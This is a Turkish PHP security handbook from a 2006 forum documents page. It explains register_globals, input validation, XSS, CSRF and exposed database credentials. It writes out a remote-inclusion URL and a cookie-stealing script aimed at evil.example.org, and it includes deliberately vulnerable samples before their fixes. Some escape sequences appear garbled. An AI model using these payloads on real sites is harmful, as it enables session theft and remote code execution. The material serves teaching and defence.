Root > Documents > Security > PHP Güvenlik El Kitabı
Cyber-Warrior.Org \ Doküman \ Security > PHP Güvenlik El Kitabı
Madde
  Yazar : Deionized
  Date : 10.11.2006 21:47:59
 
# PHP Güvenlik El Kitabı
 

PHP Güvenlik El Kitabi

Genel Bakis

Güvenlik nedir?

  • Güvenlik bir ölçümdür, özellik degildir.

    Ne yazikki bazi yazilim projesinde gelistiriciler güvenligi saglanmasi gerekenler listesine koyuyor. ’Güvenli mi?’ sorusu en az ’Sicak mi?’ sorusu kadar görecelidir.

  • Güvenlik ihtiyaci proje maliyeti sinirlariyla dengelenmelidir.

    Yazilim uygulamalarinin çogu için yeterli seviyede güvenligi saglamak kolay ve düsük maliyetlidir. Eger güvenlik ihtiyaci çok önemli ise ve islenen veriler çok degerli ise, güvenlik seviyesi artirilir. Bu da güvenlik maliyetinin artmasina sebep olur. Bu maliyet dengesini ayarlarken tabiki projenin bütçesi dikkate alinmalidir.

  • Güvenlik ihtiyaci uygulamanin kullanisliligi ile dengede tutulmalir.

    Güvenligi saglamak için koyulan kurallarin uygulamanin kullanim kolayligini azaltigi kabul edilen bir gerçektir. Sifreler, oturum sonlandirma ve giris kontrolleri normal kullanicilar (yasal kullanicilar, uygulamayi kurallar içerisinde kullananlar) tarafindan can sikici engeller olarak görülürler.Bu basamaklar çogu zaman gereklidir. Her uygulamaya uygun tek bir çözüm yoktur ve çözüm gelistirirken normal kullanicilarin da düsünülmesi gerekir.

  • Güvenlik proje tasariminin bir parçasi olmalidir.

    Proje güvenlik ihtiyaçlari düsünülmeden tasarlanirsa ilerleyen safhalarda güvenlik sorunlari içinden çikilamaz hale gelir. Çok iyi programlama yapilsa bile kötü tasarlanmis projeler basariya ulasamiyacaktir.

Temel Kurallar

  • Uygulamanin kural disi kullanilabilme durumu hep düsünülmelidir.

    Güvenli bir tasarim çözümün bir parçasidir. Programlama sirasinda uygulamanin kural disi kullanilabilme durumu düsünülmelidir. Genellikle yapilan uygulamanin istenilen foksiyonlari yapmasi ön planda tutulur. Bir uygulamanin gerekli islemleri yapiyor olmasi güvenlik açisindan bir arti degildir.

  • Güvenlik konusunda yeterli bilgi sahibi olunmalidir.

    Uygulamayi tasarlayanlar ve programcilarin güvenlik konusunda bilgi sahibi olmalari gereklidir. Basili olarak yada internette bir çok kaynak bulunmaktadir. Asagidaki adreste bazi kaynaklarin listesine ulasabilirsiniz. http://phpsec.org/library/.

  • DISARDAN ALINAN BÜTÜN VERILERI KONTROL EDIN.

    Veri kontrolü web uygulama güvenliginin temel tasidir. Tanimlanan degiskenlerinize baslangiç degerleri verilir ve disardan alinan bütün veriler kontrol edilirse güvenlige giden yolda çok mesafe katetmis olunur. Beyaz Liste Yöntemi (whitelist approach) karaliste yönteminden (blacklist approach) daha iyidir. Beyaz Liste Yöntemi disardan gelen bütün verilere aksi ispatlanmadigi sürece zararli veri muamelesi yapmak ve kontrol etmektir. Kara Liste Yöntemi ise tam tersidir yani aksi ispat edilmedikçe disardan gelen bütün veriler zararsiz kabul edilir.

Register Globals

register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanimli olarak kapali halde (degeri OFF) gelir. Bu belirtecin açik (degeri ON)olmasi dogrudan güvenlik açigi olusturmasa da ciddi bir tehlike olusturdugundan degerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapali olmasi durumuna göre gelistirilmelidir.

Bu belirtecin açik olmasi neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardir.

<?php

if (yetkili_kulanici())
{
    $authorized= true;
}

if ($authorized)
{
    include ’/cok/onemli/bilgi.php’;
}

?>

register_globals’in açik olmasi durumunda bu sayfa adres satirina ?authorized=1 eklenerek çagirildiginda çok önemli bilgiye ulasilmis olur. Bu tamamen programlama hatasidir, register_globals belirtecinin olusturabilecegi tehlikeyi göstermek için basit bir örnektir. register_globals kapali oldugunda programci tarafindan olusturulan degiskenler disaridan müdahele ile (?authorized=1 gibi) degistirilemez. Açik omasi durumunda ise degiskenler tanimlanirken bir ilk deger verilmelidir.

register_globals’in çikarabilecegi bir diger tehlikeli duruma include fonksiyonunun kullanimi örnektir:

<?php

include "$path/script.php";

?>

register_globals açik oldugunda bu sayfayi adres satirina ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek çagirildiginda asagidaki gibi bir sonuç çikar.

<?php

include ’http://evil.example.org/?/script.php’;

?>

Eger allow_url_fopen açik ise, ki php.ini de öntanimli olarak açiktir, bu kod http://evil.example.org/ deki script.php dosyasini sanki ayni makinada bulunan bir dosya gibi çalistirir. Bu birçok açik kaynakli uygulamalarda ortaya çikmis ciddi bir tehlikedir.

Tanimlandiginda $path degiskenine bir ilk deger verilerek bu engellenebilir. register_globals’i kapatarak ta bu engellenebilir. register_globals’in kapali olmasi bu ve bunun gibi programci hatalarindan kaynaklanan açiklarin kapatilmasini saglar.

Formdan gelen ve disardan gelen verilerin islenecegi durumlarda programcilarin bu durumu (register_globals) dikkate almalari gerekir. $_POST ve $_GET dizilerinin kullanilmasi bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarida da belirtigimiz gibi degiskenlere baslangiç degeri verilmesi çok önemlidir. Bu bölümde anlatilanlar register_globals’in bir güvenlik açigi oldugunu göstermez ama kapali olmasinin bir bazi tehlikeleri önledigi kabul edilen bir gerçektir. Ayrica degerin kapali olmasi programcilarin kullandiklari degiskenlerin kaynaklarini bilmeleri ve düsünmeleri,ki bu iyi programcinin özelliklerindendir, konusunda zorladigi için de faydalidir.

Veri Kontrolü

Veri kontrolü web uygulama güvenliginin temel tasidir ve programlama dilinden ve gelistirme ortamindan bagimsizdir. Uygulamaya giren ve uygulamadan çikan verilerin geçerliliginin kontrolü anlamina gelir. Iyi bir yazilim projesi tasarimi programicilari asagidaki islemleri yapmaya tesfik eder :

  • Kontrolsüz veri girisi olmamalidir,

  • Geçersiz (kural disi, hatali, yasak) veri kontrolü geçmemelidir, ve

  • Bütün verilerin kaynklari mutlaka bilinmelidir.

Veri kontrolü ile ilgili birçok yöntem vardir. Bu yöntemler arasinda iki tanesi çok kullanilmaktadir ve bu yönetm,emler yeterli seviyede güvenlik saglarlar.

Yönlendirme Yöntemi (The Dispatch Method)

Bu yöntemde web yoluyla erisilebilen bir tane PHP betigi vardir. Diger bütün PHP betikleri bu betik tarafindan gerektiginde include veya require fonksiyonlari ile çagrilir. Bu yöntemde hangi betigin çagirilacagi GET degiskeni ile belirtilir. Bu degisken basitçe çagirilacak betigin ismi olabilir. Örnegin :

http://example.org/dispatch.php?task=print_form

dispatch.php dosyasi web araciligiyla ulasilabilecek tek dosyadir. Bu yöntem programciya iki önemli fayda saglar :

  • dispatch.php ’de bazi temel güvenlik kontrollerini yaparak bütün uygulamada geçerli olmasini saglanir.

  • Betige özel veri kontrolü gerektginde ilgili betikte yapilabilir..

Daha fazla açiklama için dispatch.php :

<?php

/* Genel güvenlik kontrolleri  */

switch ($_GET[’task’])
{
    case ’print_form’:
        include ’/inc/presentation/form.inc’;
        break;

    case ’process_form’:
        $form_valid = false;
        include ’/inc/logic/process.inc’;
        if ($form_valid)
        {
            include ’/inc/presentation/end.inc’;
        }
        else
        {
            include ’/inc/presentation/form.inc’;
        }
        break;

    default:
        include ’/inc/presentation/index.inc’;
        break;
}

?>

dispatch.php’in webten direk ulasilabilen tek betik oldugu için ve diger betikleri çagirdigi için genel kontrolleri dispatch.php’te yapilmasinin dogru olacagi yukarida belirtilmistir. Ayrica programciya belli islemle ilgili özel kontrolleri ilgili betikte yapilacagi da eklenmistir. Örnekte end.inc ancak $form_valid degiskenin degerinin true olmasi durumunda çalistirilir. $form_valid degiskenine baslangiçta process.inc çagirilmadan önce false degeri verilir. process.inc çalistiginda form doldurulmussa ve gerekli sartlar saglaniyorsa (yani formun geçerliligi onaylaniyorsa) $form_valid degeri true yapilir ve end.inc dosyasi çagirilir. Eger form doldurulmamissa yada bilgilerde bir yanlislik veya eksiklik varsa process.inc $form_valid degerine dokunmaz ve form.inc çagrilir.

Not :

Eger webten direk ulasilacak dosyaya dispatch.php yerine index.php adi verilirse betikleri çagirmak için URL’yi kullanilabilir. http://example.org/?task=print_form gibi.

Apache ForceType belirteciyle yapilandirarak URL’leri http://example.org/app/print-form gibi algilamasi saglanabilir.

Çagirma Yöntemi (The Include Method)

Bu yöntemde genel güvenlik kontrollerinden sorumlu bir betik vardir ve diger bütün betiklerin basinda bu betik çagrilir. Bu betige uygun bir örnek security.inc :

<?php

switch ($_POST[’form’])
{
    case ’login’:
        $allowed = array();
        $allowed[] = ’form’;
        $allowed[] = ’input1’;
        $allowed[] = ’input2’;

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include ’/inc/logic/process.inc’;
        }

        break;
}

?>

Bu örnekte uygulamadaki bütün formlarda form, input1, input2 isimleri ile form elemanlari olmalidir. Bu kurala uygun bir form asagidaki gibi olabilir :

<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Input 1:
<input type="text" name="input1" /></p>
<p>Input 2:
<input type="input2" name="input2" /></p>
<input type="submit" />
</form>

$allowed dizisi formlarda kullanicak eleman isimlerinin kontrolü için kullaniliyor ve her for için ayri olmalidir. Bu kontrol ile formun düzgün olup olmadigi kontrol edilir ve process.inc dosyasinda da veri kontrolu tamamlanir.

Not :

Her dosyanin basinda security.inc dosyasinin çagirilmasini saglamanin bir yolu da php.ini’de auto_prepend_file belirtecidir.

Veri Kontrolü

Beyaz liste yönteminin daha dogru bir yaklasim oldugu belirtilmisti. Her duruma uygun örnekler vermek zor olsa da temel olarak veri kontrolü hakkinda fikir verecek basit örnekler asagidadir.

E-posta adresinin düzgün yazilip yazilmadiginin kontrolü:

<?php

$clean = array();

$email_pattern = ’/^[^@\\\\\\\\\\\\\\\\\\s<&>]+@([-a-z0-9]+\\\\\\\\\\\\\\\\\\.)+[a-z]{2,}$/i’;

if (preg_match($email_pattern, $_POST[’email’]))
{
    $clean[’email’] = $_POST[’email’];
}

?>

$_POST[’color’] degiskenin degerinin red, green, yada blue oldugunun kontrolü:

<?php

$clean = array();

switch ($_POST[’color’])
{
    case ’red’:
    case ’green’:
    case ’blue’:
        $clean[’color’] = $_POST[’color’];
        break;
}

?>

$_POST[’num’] degerinin sayi olup olmadiginin kontrolü:

<?php

$clean = array();

if ($_POST[’num’] == strval(intval($_POST[’num’])))
{
    $clean[’num’] = $_POST[’num’];
}

?>

$_POST[’num’] degerinin ondalikli sayi (float) olup olmadigi:

<?php

$clean = array();

if ($_POST[’num’] == strval(floatval($_POST[’num’])))
{
    $clean[’num’] = $_POST[’num’];
}

?>

Isimlendirme

Yukaridaki örnekler de $clean dizisi kullanilmistir. Bu veri kontrolü için açiklayici bir örnektir. $_POST ve $_GET dizilerindeki verileri kontrol edilip eger uygunsa $clean dizisine atilir.$_POST ve $_GET dizileri her zaman süpheli olarak kabul edilmelidir.

$clean dizisini kullandildiginda beyaz liste yöntemine göre bu diziye girmeyen bütün veriler süphelidir. Bu yaklasim programin güvenlik seviyesini artirir.

Kontrolden geçen bütün veriler $clean dizisine atildigi için karsilasabilecek en kötü durum bürün verilerin zararli olmasi durumundaki bos $clean dizisidir.

Zamanlama

Bir PHP betigi çalismaya baslatildiginda HTTP iletisimi bitmis demektir. Yani Istemci tarafindan artik hiçbir veri gönderilemez (register_globals açik olsa bile). Bu sebepten dolayi tanimlanan bitin degiskenlere baslangiç degeri verilmesi çok önemlidir.

Hata Raporlama

PHP5’ten önceki sürümlerde hata raporlama islemini bazi belirteçleri ayarlanarak kolayca yapilabilir. Bu süürmlerde hata raporlama programlamadan çok PHP yorumlayicisi tarafindan yapilir. Bunun için kullanilacak belirteçler :

  • error_reporting

    Bu belirteç hata raporlama seviyesinin belirlenmesini saglar. Degerinin E_ALL olmasi tavsiye edilir.

  • display_errors

    Bu belirteç hatalarin ekrana yazilip yazilmayacagini belirtilmesine yarar. Gelistirme asamasinda degeri On olursa hatalar anlasilir. Uygulama kullanilmaya baslandiginda degerinin Off yapilmasi daha uygundur. Böylece hatalar kullanicilardan ve hatalarin faydali olacagi art niyetli kisilerden gizlenmis olur.

  • log_errors

    Bu belirteç hatalarin belirli bir log dosyasina yazilip yazilmayacaginin belirtilmesini saglar. Degerinin On olmasi durumunda çalismada yavaslamaya sebeb olabilir. Gelistirme asamasinda kullanilmasi tavsiye edilir.

  • error_log

    Hata raporlarinin yazilacagi dosyanin tam yoludur. Burada dosyayi belirtirken dosyaya web sunucusunun yazma yetkisi olup olmadigina dikkat edilmelidir.

error_reporting belirtecinin degerinin E_ALL olmasi programci tarafindan kullanilan degiskenlere baslangiç degeri verilmesini zorlayacak ve baslangiç degeri verilmemis bir degisken kullanildiginda uyari verecektir.

Not :

Bu belirteçlerin degeri ini_set() fonksiyonu kullanilarak degistirilebilir. Bu fonksiyonu php.ini dosyasinda degisiklik yapilamadigi durumlarda kullanilabilir.

Daha ayrintili bilgi için :

http://www.php.net/manual/en/ref.errorfunc.php

PHP5 ile birlikte PHP’ye Kural Disilik Isleme (Exception Handling) özelligi eklenmistir.

http://www.php.net/manual/language.exceptions.php

 

Form Isleme

Sahte (Yalanci) Form Kayitlari

Veri kontrolünün önemini anlamak için asagidaki asagidaki örnegi inceleyelim. (adreslerin hepsi temsilidir). http://example.org/form.html:

<form action="/process.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>

Kötü niyetli bir kisinin bu formu asagidaki gibi degistirebilir.

<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>

Bu durumda form herhangi baska bir sunucuda veya herhangi bir bilgisayarda (bir tarayicidan görüntülenebilir olmasi yeterli) bulundurulabilir. URL kullanildigi için ayni dosyaya POST yöntemi ile gönderilebilir.

Bu sekilde formlarda tarayici tarafinda yapilan veri kontrolleri kolayca atlatilabilir. Yukaridaki örnekte normal haldeki formda $_POST[’color’] degiskenin degeri red,green, veya blue olmasi gerekirken, yapilan degisiklikle herhangi bir deger olabilir.

Sahte HTTP Istekleri (HTTP Requests)

Daha güçlü ama az kullanilan bir veri kandirmacasi da HTTP Istekleri ile yapilir. Yukaridaki örnekte HTTP istegi su sekilde görünür :

POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red

telnet bu konuda deneme yapmak için kullanilabilir. http://www.php.net/’ye bir GET istegi su sekilde yapilabilir :

$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is ’^]’.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...

Ayni istegi PHP ile de yapabilirsiniz:

<?php

$http_response = ’’;

$fp = fsockopen(’www.php.net’, 80);
fputs($fp, "GET / HTTP/1.1\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n");
fputs($fp, "Host: www.php.net\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

HTTP isteginin bu sekilde gönderilmesi ve kontrol edilmesi programciya esneklik saglar.

Çapraz Kod Çalistirma (Cross-Site Scripting)

Web uygulamalari güvenligi konusunda en yaygin olarak kullanilan ve bilinen güvenlik terimi çapraz kod çalistirmadir (Cross-Site Scripting) ve bu ününü hakedecek degerdedir. PHP ile yazilmis birçok açik kaynak kodlu projeleri zaman zaman XSS (Yazida ’Çapraz Kod Çalistirma’ yerine kisaca kullanilacaktir) açiklarindan kaynaklanan saldirilar yüzünden sikinti yasamistir.

XSS’in temel özellikleri :

  • Bir kullanicinin sahip oldugu güveni kötüye kullanma.

    Web sayfalarina kullanicilar genelde süphe ile yaklasirlar ama. tarayicilar böyle degildir. Sunucu çerez gönderir ve tarayici bunu kabul eder. Ayrica kullanicilarin siteye göre yada kullandiklari tarayiciya göre farkli tarama aliskanliklari vardir.

  • genelde web sayfalari disardan veri alir ve bunlari isleyir ve gösterirler.

    XSS tehlikesi daha disardan veri alan formalar, web tabanli e-posta uygulamalari disari ile veri alis verisi üzerine çalisan bütün betiklerde (RSS beslemeleri (feed) gibi) kendini gösterir.

  • Saldirgan veriyi degistirerek sayfada istedigi herhangi birseyi gösterebilir.

    Disardan gelen veriler kontrol edilmemesi saldirganin istedigi içerigin sisteme girmesine sebep olur. Bu durum saldirganin kaynak koduna erismesi kadar tehlikelidir.

Disardan gelen veri demek sadece kullanici tarafinda dolduran formlarla gelen veri demek degildir. Web posta uygulamasinda disardan gelen bir elektrnik posta, disardan alinip sayfada gösterilen bir reklam veya baska uygulamalarin (web tabanli olmayip agda çalisan blog’lar gibi) kayitlari da disardan gelen veri kapsamindadir.

Örnek olarak basit bir mesaj tahtasi formunu inceleyelim :

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET[’message’]))
{
    $fp = fopen(’./messages.txt’, ’a’);
    fwrite($fp, "{$_GET[’message’]}<br />");
    fclose($fp);
}

readfile(’./messages.txt’);

?>

Burada formdan gelen mesaj metninin sonuna
ekleyerek dosyanin sonuna ekler.

Artniyetli bir kullanicinin asagidaki metni mesaj olarak yazip gönderdigini düsünelim.

<script>
document.location = ’http://evil.example.org/steal_cookies.php?cookies=’ + document.cookie
</script>

Mesaj tahtasi ziyaret edildiginde JavaScript kullanciyi evil.example.org adresine yönlendirir ve mesaj tahtasi uygulamasi tarafindan atilan çerez bilgileri adres satirindan evil.example.org adresine gönderilir

Tabiki gerçek bir saldirganin yapacagi saldiri daha yaratici ve zararli olacaktir. Yukarida verilen örnek çok basit ve zararsizdir.

XSS saldirilarini engellemek aslinda çok kolaydir.Bu konuda veri kontrolü HTML yada JavaScript ile tarayici tarafinda yapildiginda kontrol disi veri girilmesini engellemek oldukça zordur. XSS önlemek için :

  • DISARDAN GELEN BÜTÜN VERILERI KONTROL EDIN.

    Bu belgenin genelinde söylendigi gibi güvenligin temeli veri kontrolüdür.

  • PHP’nin sagladigi fonsiyonlari mutlaka kullanin.

    PHP’nin sagladigi fonksiyonlar (htmlentities(), strip_tags(), veya utf8_decode() ) bu konuda güvenle kullanilabilirler. Bu fonksiyonlar hizli olmalarinin yaninda çokça denendikleri için hatali olma olasiliklari çok düsüktür.

  • Beyaz Liste Yönetmini Kullanin.

    Disardan gelen bütün veriye tehlikeli gözüyle bakilip kontrol edilmelidir. Örnegin, kullanici bilgileri ile ilgili bir formda soyadinin alindigini düsünelim. Soyadinin sadece harflerden olustugu için bu sekilde bir kontrol yapilmalidir. Bu durumda O’Reilly ve Berners-Lee gibi soyadlari kontrolden geçemeyecektir. Birkaç ekleme ile bu durum halledilebir tabiki. Bu durum göz ardi edilse bile dogru bilginin reddedilmesi çogu zaman yanlis bilginin sisteme kabul edilmesinden daha az zararlidir.

  • Degisken isimlendirme kurallara baglanmalidir.

    Degisken isimleri veri kontrolünde çok yardimci olabilir. Özellikle kontrol edilen ve edilmeyen verinin bir birinden ayirilmasinda ve kontrol islemleri konusunda yardimcidir. Ayrica programin sonradan degistirilebilmesinde de gelistiricilere faydalidir. Isimlendirmenin eksik veya yanlis yapilmasi ilerleyen zamanlarda güvenlik açiklarina sebep olabilir.

Yukaridaki önerilere göre daha güvenli bir mesaj tahtasi uygulamasi söyle olabilir :

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET[’message’]))
{
    $message = htmlentities($_GET[’message’]);

    $fp = fopen(’./messages.txt’, ’a’);
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile(’./messages.txt’);

?>

htmlentities() fonksiyonunun eklenmesi mesaj tahtasinin daha güvenli hale getirmistir ama uygula tamamen güvenli degildir. Yukaridaki önerileri dikkate alarak eklemeler yapilabilir.

Sunucu Tarafli Çapraz Kod Çalistirma (Cross-Site Request Forgeries)

Isimdeki benzerligine ragmen Sunucu Tarafli Çapraz Kod Çalistirma (CSRF) XSS ile tamamen zit bir mantikla çalisir. XSS’e göre daha az bilinir ama daha tehlikelidir. CSRF kullanicinin sunucuya olan güvenini kötüye kullanma mantigi ile çalisir.

CSRF’nin özellikleri:

  • Bir web sayfasinin kullanicidaki güvenini kötüye kullanir.

    Birçok kullanicinin güvenilir sayilacak özelliklere sahip olmamasina ragmen web sayfalari kullanicilar bazi özel haklar sunarlar. Özal haklara sahip kullanicilar muhtemel kurbanlardir.

  • Genelde kullanicilarinin kimliklerine güvenen web sayfalarinda CSRF tehlikesi fazladir. Güvenilir sayilan kullanici kimliklerinin sistemde daha çok yetki tasimasi çok dogaldir. Bunun yüzünden çok güvenli oturum yönetimi olsa bile CSRF saldirisi basarili olabilir. Ki CSRF saldirisinin en çok zarar verecegi ortamlar kullanicilarina en çok güvenen ortamlardir.

  • Saldirgan kullaniciya istedigi HTTP istegini yaptiri.

    CSRF nin temem mantigi kullanicinin haberi olmadan baska bir HTTP isteginde bulunmasini saglamaktir.

CSRF dogrudan HTTP istekleri ile ilgili oldugu için bu konuyu tam anlamak için HTTP istegi hakkinda temel bilgiye sahip olmak gerekir.

Tarayici HTTP istemcisidir ve sweb sunucusu da HTTP sunucusudur. Istemciler islemi istek (HTTP Request) göndererek baslatir sunucular da buna (Response) cevap verir. HTTP istegine basit bir örnek :

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Ilk satira istek satiri denir ve istek yöntemini,istegin yapildigi URL’yi ve HTTP sürümünü bildirir. Diger satirlar ise HTTP basliklaridir. Her satirda degisken ismi, noktali virgül ve degiskenin degeri bulunur.

Yukaridaki istegi asagidaki gibi PHP’yle de olusturabiliriz :

<?php

$request = ’’;
$request .= "{$_SERVER[’REQUEST_METHOD’]} ";
$request .= "{$_SERVER[’REQUEST_URI’]} ";
$request .= "{$_SERVER[’SERVER_PROTOCOL’]}\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n";
$request .= "Host: {$_SERVER[’HTTP_HOST’]}\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n";
$request .= "User-Agent: {$_SERVER[’HTTP_USER_AGENT’]}\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n";
$request .= "Accept: {$_SERVER[’HTTP_ACCEPT’]}\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\n";

?>

Bu istege sunucu tarafindan gönderilen cevap ise söyledir :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src= "http://example.org/image.png">

Cevabin içerigi tarayicida gördügümüz koddur (HTML, XML ...). Örnekteki img tarayiciya yeni bir istekte bulunmasini söyler. Tarayici bu resim için de istekle bulunur. Bu istek su sekilde yapilir :

GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Tarayici src te yazili olan adrese kullanici tarafindan yönlendirilmis gibi gider. Tarayici bunun bir resim istegi oldugunu ayirt edemez.

Formlari göz önünde bulundurarak asagidaki örnek incelendiginde :

http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

GET yöntemini kullanan bir formun istegi ile normal bir resmin istegi tarayici tarafindan ayirt edilemez ve her ikisi de ayni adrese gönderilebilir. Eger register_globals açik ise fromun gönderilis yöntemi de önemli degildir.

URL tarafindan gönderilen çerezin URL’ye gönderilen her istege eklenmesi CSRF’nin etkisini artirir. Kullanici bir sayfada gezinti yaparken img ile belirtilmis bir URL’de farkinda olmadan bir islem yapabilir.

Örnek olarak http://stocks.example.org/form.html adresindeki form :

<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>

Form ’symbol’ alanina SCOX ve quantity alanina 1000 girilip gönderildiginde tarayici asagidaki gibi bir istek gönderir :

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Eger herhangi bir img’nin src degerine yukaridaki istekteki URL’yi yazarsak ayni istek sunucuya gönderilecektir. Sunucu bunun bir form mu yoksa bir resim istegi mi oldugunu farketmeyecektir.

CSRF ye karsi yapilabilecekler :

  • Kritik bir islem formlarda GET yerine POST kullanilmalidir.

  • $_POST dizisi kullanilmalidir. register_globals açik olmasi durumunda formlari POST ile göndermek CESRF için bir engel olmayacaktir.

  • Yüzde yüz kolaylik saglamaya çalismayin.

    Kullanicilarin yazilan uygulamayi kolayca kullanabilmesi tabiki önemlidir. Bazi durumlarda kolayligi saglamak için yapilanlar kötü sonuçlar dogurabilir. Kolaylik güvenlik dengesinin herzaman akilda tutulmasi gereklidir.

  • Kendi formlarinizin kullanimilmasini saglayin.

    CSRF ile ilgili en büyük problem gelen baska yollardan gelen isteklerin normal bir fomdan geliyormus gibi alginabilmesidir. Bir istegin formdan gelip gelmedigini anlamak için uygulamaya özel çözümler üretilmelidir.

Yukaridaki yazilanlari göz önünde bulundurularak daha güvenli bir mesaj tahtasi söyle olabilir :

<?php

$token = md5(time());

$fp = fopen(’./tokens.txt’, ’a’);
fwrite($fp, "$token\\\\\\\\\\\\\\\\\\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file(’./tokens.txt’);

if (in_array($_POST[’token’], $tokens))
{
    if (isset($_POST[’message’]))
    {
        $message = htmlentities($_POST[’message’]);

        $fp = fopen(’./messages.txt’, ’a’);
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile(’./messages.txt’);

?>

Mesaj tahtasinin son hali daha güvenlidir. Herkesin kolayca görebilecegi bir durum var.

Zaman (time()) çok kolay tahmin edilebilir. MD5 kullanilsa bile tahmin edilebilme tehlikesi vardir. uniqid() ve rand() kullanilarak güvenlik artirilabilir.

Daha da önemlisi geçerli bir anahtar ($token) elde etmek oldukça basittir. Form sayfasi ziyaret edilip kaynaga eklenen anahtar alinir. Geçerli anahtar ile saldirgan geçerllik süresi dolana kadar islem yapabilir.

Yukarida yazilanlar göz önünde bulundurularak daha güvenli bir mesaj tahtasi söyle olabilir :

<?php

session_start();

if (isset($_POST[’message’]))
{
    if ($_POST[’token’] == $_SESSION[’token’])
    {
        $message = htmlentities($_POST[’message’]);

        $fp = fopen(’./messages.txt’, ’a’);
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION[’token’] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile(’./messages.txt’);

?>

Veritabani Ve SQL

Açik Giris Tanimlari (Exposed Access Credentials)

Birçok PHP uygulamasinda veritabani ile alisveris yapilir. Bu durum tabiki veritabani baglantisi ve baglanti yetkisi gerektirir. Örnek olarak :

<?php

$host = ’example.org’;
$username = ’myuser’;
$password = ’mypass’;

$db = mysql_connect($host, $username, $password);

?>

Yukaridaki satirlar db.inc dosyasi olarak veritabani ile ilgili islem yapilacagi zaman çagirilir. Bu yöntem veritabani ile ilgili bilgilerin tek dosyada tutuldugu için kullanislidir.

Bu dosyanin disaridan direk URL ile ulasilabilecek bir yerde olmasi tehlikelidir, çünkü bu durumda include veya require çagirilarak kolayca veritabani baglantisina ulasilabilir.

Web sunucu dizininde olan dosyalarin bir tarayici araciligiyla ulasilabilir oldugu unutulmamalidir. Örnegin web sunucu dizini /usr/local/apache/htdocs olsun. /usr/local/apache/htdocs/inc/db.inc dosyasina web tarayicida http://example.org/inc/db.inc yazarak ulasabiliriz.

Bu duruma bazi web sunucularinin .inc uzantili dosyalari normal metin dosyalari gibi gösterdigini de eklendiginde bu sekilde bir yapida veritabani bilgileribe kadar kolay ulasilabilecegi görülebilir.

Bu durumun çözümü bütün güvenlik riski tasiyan modülleri web sunucu dizinin disinda barindirmaktir. include ve require dosya yolu olarak dosya sistemindeki yollari da kabul ettikleri için modülleri çagirma da herhangi bir sikinti olmayacaktir.

Eger modüllerin yerini sonradan degistirme imkaniniz yoksa , web sunucu dizinde olmalari gerekiyorsa, httpd.conf ayar dosyasinda asagidaki ayarlar yapilarak .inc uzantili dosyalara ulasilamamasi saglanabilir. (Bu örnek Apache Web Sunucusu içindir.)

<Files ~ "\\\\\\\\\\\\\\\\\\.inc$">
    Order allow,deny
    Deny from all
</Files>

Bu tür ayar dosyalarinin (.php uzantisi vererek yada AddType ile .inc PHP’ye gönderek) PHP tarafindan islenmesine izin vermek () dogru bir yol degildir. Bu tür kodlarin disaridan çagirilarak çalistirilabilmesi her zaman tehlikelidir. Eger bu dosyalarda sadece degiskenlere deger ataniyorsa yukarida söylenenlerin tehlikesi daha azdir.

